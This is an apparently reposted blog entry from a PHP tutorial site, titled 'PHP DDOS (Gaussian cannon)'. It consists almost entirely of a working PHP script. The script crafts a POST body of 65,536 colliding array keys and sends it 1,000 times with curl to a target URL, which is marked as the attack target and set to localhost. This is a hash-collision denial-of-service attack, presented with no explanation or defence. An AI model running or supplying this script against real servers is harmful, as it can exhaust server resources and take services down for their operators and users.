Home  >  Article  >  php教程  >  PHP DDOS(高斯炮)

PHP DDOS(高斯炮)

PHP中文网
PHP中文网Original
2016-05-25 17:09:451255browse

php代码

<?php
$size = pow(2, 16);
$data = "";
 
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
    $data .= $key."=0&";
}
 
$url = "http://localhost/gaoshi.php";// 攻击目标
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
 
for ($i = 0; $i < 1000; ++$i) {
    curl_exec($ch);
}
curl_close($ch);
?>
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn